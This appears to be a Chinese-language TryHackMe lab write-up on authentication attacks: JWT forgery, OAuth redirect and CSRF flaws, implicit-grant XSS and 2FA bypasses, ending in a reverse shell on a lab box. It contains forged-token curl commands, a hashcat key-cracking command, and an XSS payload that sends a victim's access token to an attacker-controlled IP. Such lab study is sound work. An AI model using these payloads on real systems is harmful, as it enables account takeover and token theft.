[THM]Web Application Pentesting---Authentication 认证
基础
session
cookie
属性
Secure - 向浏览器指示 Cookie 只能通过经过验证的 HTTPS 通道传输。如果存在证书错误或使用 HTTP,则不会传输 Cookie 值
HTTPOnly - 向浏览器指示客户端 JavaScript 可能无法读取 Cookie 值
Expire - 向浏览器指示 Cookie 值何时不再有效,应将其删除
SameSite - 向浏览器指示是否可以在跨站点请求中传输 Cookie,以帮助防止 CSRF 攻击
token
Token-Based Session Management
最常见的令牌类型之一是 JSON Web 令牌 (JWT),一般形式
1 | Authorization: Bearer <token> |
以前的盲点
浏览器中不仅仅要注意cookie,还要注意本地存储的
JWT
它没有使用浏览器的自动 cookie 管理功能,而是依赖于客户端代码来完成该过程。身份验证后,Web 应用程序会在请求正文中提供令牌。然后使用客户端 JavaScript 代码,此令牌将存储在浏览器的 LocalStorage 中
在线工具
curl命令使用
拿token
1 | curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.95.235/api/v1.0/example2 |

验证用户
1 | curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' http://10.10.95.235/api/v1.0/example2?username=user |
未验证

重新构造,把admin的值设为1
1 | curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.q8De2tfygNpldMvn581XHEbVzobCkoO1xXY4xRHcdJ8' http://10.10.95.235/api/v1.0/example2?username=admin |

签名算法降级为none
构造时,alg那里是设置签名算法的,改为none,只能分段手动改了
拿到的token
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8 |
按.分割,分别base64解码再构造再解码
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0= |
1 | eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0= |
最后
1 | curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0=.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0=._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8' http://10.10.95.235/api/v1.0/example3?username=admin |

弱对称密钥签名
直接hashcat破解
1 | hashcat -m 16500 -a 0 "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY" fuzzDicts-master/jwt.secrets.list |

签名算法混淆
特别发生在对称签名算法和非对称签名算法之间的混淆中。如果使用非对称签名算法(例如 RS256),则可以将算法降级为 HS256。在这些情况下,某些库将默认使用公钥作为对称签名算法的密钥。由于公钥是已知的,因此可以将 HS256 算法与公钥结合使用来伪造有效的签名
已修复,就不用脚本不复现了
先获取token和公钥
直接jwt.io构造
1 | curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MX0.7jJBvWpF9JT4DdeUWnl0o7imBV0wa0HTDPRMavGbPyU' http://10.10.95.235/api/v1.0/example5?username=admin |

令牌不过期
解密token
未显示exp值,代表令牌不过期
跨服务中继攻击
一个用户在appA普通权限,在appB是管理员权限,那就用appB的token去请求appA
1 | curl -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MSwiYXVkIjoiYXBwQiJ9.jrTcVTGY9VIo-a-tYq_hvRTfnB4dMi_7j98Xvm-xb6o' http://10.10.95.235/api/v1.0/example7_appA?username=admin |

OAuth 漏洞(OAuth 2.0,即常用的授权框架)
应用程序使用 OAuth 的第一个迹象通常在登录过程中找到。查找允许用户使用 Google、Facebook 和 GitHub 等外部服务提供商登录的选项。这些选项通常会将用户重定向到服务提供商的授权页面,这强烈表明 OAuth 正在使用中
一些基本概念
状态参数
可选参数维护客户端和授权服务器之间的状态。它可以通过确保响应与客户端的请求匹配来帮助防止 CSRF 攻击。状态参数是保护 OAuth 流的关键部分
授权类型(服务器-服务器交互常用的授权类型是客户端凭证授予)
授权码授予
最常用的 OAuth 2.0 流程,适用于服务器端应用程序(PHP、JAVA、.NET 等)
流程:
1 | 客户端将用户重定向到授权服务器,用户将在其中进行身份验证并授予授权。然后,授权服务器使用授权码将用户重定向到客户端。客户端通过请求授权服务器的令牌终端节点来交换访问令牌的授权代码 |
这种授权类型以其增强的安全性而闻名,因为授权码是服务器到服务器交换的访问令牌,这意味着访问令牌不会暴露给用户代理(例如浏览器) ,从而降低了令牌泄漏的风险。它还支持使用刷新令牌来保持长期访问,而无需重复用户身份验证
隐式授权
主要适用于客户端无法安全存储密钥的移动和 Web 应用程序。它直接向客户端颁发访问令牌,而无需交换授权代码
在此流程中,客户端将用户重定向到授权服务器。在用户进行身份验证并授予授权后,授权服务器会在 URL 片段中 返回一个访问令牌
此授权类型经过简化,适用于无法安全存储客户端密钥的客户端。它更快,因为它涉及的步骤比授权码授予少。但是,它不太安全,因为访问令牌会暴露给用户代理,并且可以记录在浏览器历史记录中 。它也不支持刷新令牌
资源所有者密码凭证授予
当资源所有者高度信任 客户端(例如第一方应用程序)时,将使用 Resource Owner Password Credentials 授予。客户端直接收集用户的凭证(用户名和密码),并将其交换为访问令牌
客户端凭证授予
用于服务器到服务器的交互,无需用户参与。客户端使用其凭证向授权服务器进行身份验证并获取访问令牌。在此流程中,客户端使用其客户端凭证(客户端 ID 和密钥)向授权服务器进行身份验证,授权服务器直接向客户端颁发访问令牌
此授权类型适用于后端服务和服务器到服务器通信,因为它不涉及用户凭证,从而降低了与用户数据泄露相关的安全风险
利用思路
窃取 OAuth 令牌
原理
攻击者获得了对 redirect_uri 中列出的任何域或 URI 的控制权,他们就可以纵流来拦截令牌
如果攻击者获得了对 demo.com 的控制权,他们就可以利用 OAuth 流。通过将 redirect_uri 设置为 http://demo.com/callback ,授权服务器会将令牌发送到此受控域
攻击者启动 OAuth 流并确保 redirect_uri 指向其受控域。用户授权应用程序后,令牌将发送到 http://demo.com/callback 。攻击者现在可以捕获此令牌并使用它来访问受保护的资源
实操
准备一个恶意授权请求的页面,可以用以下示例代码
1 | <form action="http://coffee.thm:8000/oauthdemo/oauth_login/" method="get"> |
此表单发送一个带有 value http://dev.bistro.thm:8002/malicious_redirect.html 的隐藏 redirect_uri 参数,并向http://coffee.thm:8000/oauthdemo/oauth_login/提交请求malicious_redirect.html 页面使用以下代码拦截来自 URL 的授权代码:
1 | <script> |
注意 :由于攻击者对子域拥有完全控制权,因此一旦他将受害者重定向到攻击者控制的域,他就会将凭据保存在数据库/文件等中,以备后用。此外,从 redirect_uri 重定向到原始 URL 的速度非常快,以至于受害者不知道他的授权码已被劫持
我们可以诱导受害者点击受控域http://dev.bistro.thm:8002/redirect_uri.html
然后点击Login via OAuth按钮,表单会调用 http://coffee.thm:8000/oauthdemo/oauth_login/ 但带有伪造的 redirect_uri,一旦受害者输入 OAuth 提供程序的凭据 (victim:victim123),它就会将 OAuth 授权代码定向到攻击者的受控 URL ( http://dev.bistro.thm:8002/malicious_redirect.html )
然后可以利用拦截的授权码调用 /callback 端点并将其交换为有效的访问令牌
1 | http://bistro.thm:8000/oauthdemo/callbackforflag/?code=xxxxx |

OAuth 中的 CSRF
原理(缺少 state 参数的csrf)
如果没有 state 参数,授权过程很容易受到 CSRF 的攻击。攻击者可以通过获取受害者的授权码并将其发送给攻击者来利用此漏洞。授权服务器无法确定授权代码是属于攻击者 还是受害者 ,或者请求是来自攻击者还是受害者
前提
OAuth 2.0 框架中的 state 参数可防止 CSRF 攻击
所以要实现OAuth 中的 CSRF,其中 state 参数要么缺失 ,要么是可预测的 (例如,像 “state” 这样的静态值或一个简单的序列号)。攻击者可以启动 OAuth 流并提供其恶意重定向 URI。在用户对应用程序进行身份验证并授权后,授权服务器会将授权代码重定向到攻击者的受控 URI
实操(缺少 state 参数)
检查url参数
登录环境后看到可以将联系人同步到 CoffeeShopApp
点击同步后发现被重定向到http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http%3A%2F%2Fmycontacts.thm%3A8080%2Fcsrf%2Fcallbackcsrf.php
注意到授权 URL 缺少 state 参数,这表明可以对 CSRF 攻击使用相同的请求
漏洞利用
首先要获取授权码,本练习中直接通过一个恶意urihttp://coffee.thm:8000/oauthdemo/callbackforcsrf/,允许在不完成 OAuth 流程的情况下获取授权码,这个路由的代码如下
1 | def oauth_logincsrf(request): |
直接访问(这一步模拟操控uri)http://coffee.thm:8000/o/authorize/?response_type=code&client_id=kwoy5pKgHOn0bJPNYuPdUL2du8aboMX1n9h9C0PN&redirect_uri=http://coffee.thm:8000/oauthdemo/callbackforcsrf/
构造的恶意网页与正常网页没什么区别
登录然后授权就会接收到这样的响应
然后记下授权码,之后换用户登录,点击同步联系人的按钮
再点击认证按钮
到最后填授权码的那个数据包,更换授权码1taRIhPhOBJbGHoZQUAdgB4fMJcyh8

隐式授权
缺陷
- 在 URL 中公开访问令牌 : 应用程序将用户重定向到 OAuth 授权端点,该端点在 URL 片段中返回访问令牌。页面上运行的任何脚本都可以轻松访问此片段。
- 重定向 URI 验证不足 : OAuth 服务器未充分验证重定向 URI,从而允许潜在攻击者纵重定向端点。
- 无 HTTPS 实施 :应用程序不强制执行 HTTPS,这可能导致通过中间人攻击进行令牌拦截。
- 访问令牌处理不当 : 应用程序不安全地将访问令牌存储在
localStorage或sessionStorage中 ,使其容易受到 XSS 攻击。
实操(xss攻击)
点击同步状态按钮,客户端应用程序配置为使用隐式授权类型
授权 URL 的构造如下:
1 | var client_id = 'npmL7WDiRoOvjZoGSDiJhU2ViodTdygjW8rdabt7'; |
登录跳转后注意到,#将访问令牌与 OAuth 2.0 隐式授权流 URL 分开

触发漏洞点
起一个python服务器,构造payload
1 | <img src="x" onerror="new Image().src='http://10.21.170.43:404/?token='+window.location.hash.split('&')[0].split('=')[1];"> |

然后根据提示访问对应url,输入token
多因素身份验证
常见漏洞
- 弱 OTP 生成算法
- 应用程序泄露 2FA 令牌
利用方式
OTP 泄漏
原理
XHR (XMLHttpRequest) 响应中的 OTP 泄漏通常是由于 2FA(双因素身份验证)机制实施不佳或不安全的编码而发生的
实操(明文验证码回显)
登录后yakit看记录,直接拿到验证码
逻辑缺陷或不安全的编码
登录后卡在这
yakit抓包也没看到有直接泄露OTP
直接访问我们要访问控制面板/dashboard,http://mfa.thm/labs/second/dashboard,突破了2fa封锁
绕过自动注销功能
最好的利用方式就是写exp自动化攻击
1 | import requests |
花了快两分钟才成功

然后用这个session替换,然后刷新网站
1 | d1re2l3nf1s1aan43ms1lst7ds |

工具使用:evilginx
综合测试
绕过2fa登录
麻住了,直接访问80显示拒绝连接,想着看看开了啥端口,怎么都没有
扫10000范围看看,有结果了,1337开了服务

扫目录发现这些,但都没怎么利用上
注意到登录页源码有一句目录命令要求
先给字典加个前缀
1 | sed 's/^/hmr_/' ~/fuzzDicts-master/directoryDicts/dicc.txt > ~/fuzzDicts-master/directoryDicts/dicc_hmr.txt |
然后dirsearch指定目录开扫
1 | ./dirsearch.py -u http://10.10.182.222:1337 -w ~/fuzzDicts-master/directoryDicts/dicc_hmr.txt |

目测/hmr_logs/有用,访问看到里面有个错误日志
有个id序列pid 12354:tid 139999999999990,还有个邮件名tester@hammer.thm,邮件名可用于密码重置,先试试,时限180s内要输入四位验证码
没找到验证码泄露,逻辑漏洞也没有,真不会了,看wp学一下
先抓包看看
多次发包发现,当响应中的Rate-Limit-Pending字段的值为0的时候会触发速率限制
删除cookie以后发包发现,速率限制最大值是9,但这样是失败的,却能获取新cookie
之后重新抓包测试,发现单个cookie允许的发送次数是8次(7递减到0),之后就要重新获取cookie,然后输入邮箱,再来爆破
大致的逻辑有了,交给ai来写代码
1 | import requests |
爆出来了
然后直接替换cookie刷新页面就行
然后修改密码成功登录
rce(jwt伪造越权)
可以执行命令
直接反弹shell试试,失败,过滤一堆啊
观察数据包发现用了jwt
解密看看结构
看到kid指向了key文件,联想ls列出了一个密钥文件188ade1.key
访问就下载,里面的内容如下
可能是密钥什么的,先试着构造,时间戳调大一点
替换显示验证失败,哦是不小心勾选了base64编码
然后验证成功
反弹shell看看
读flag







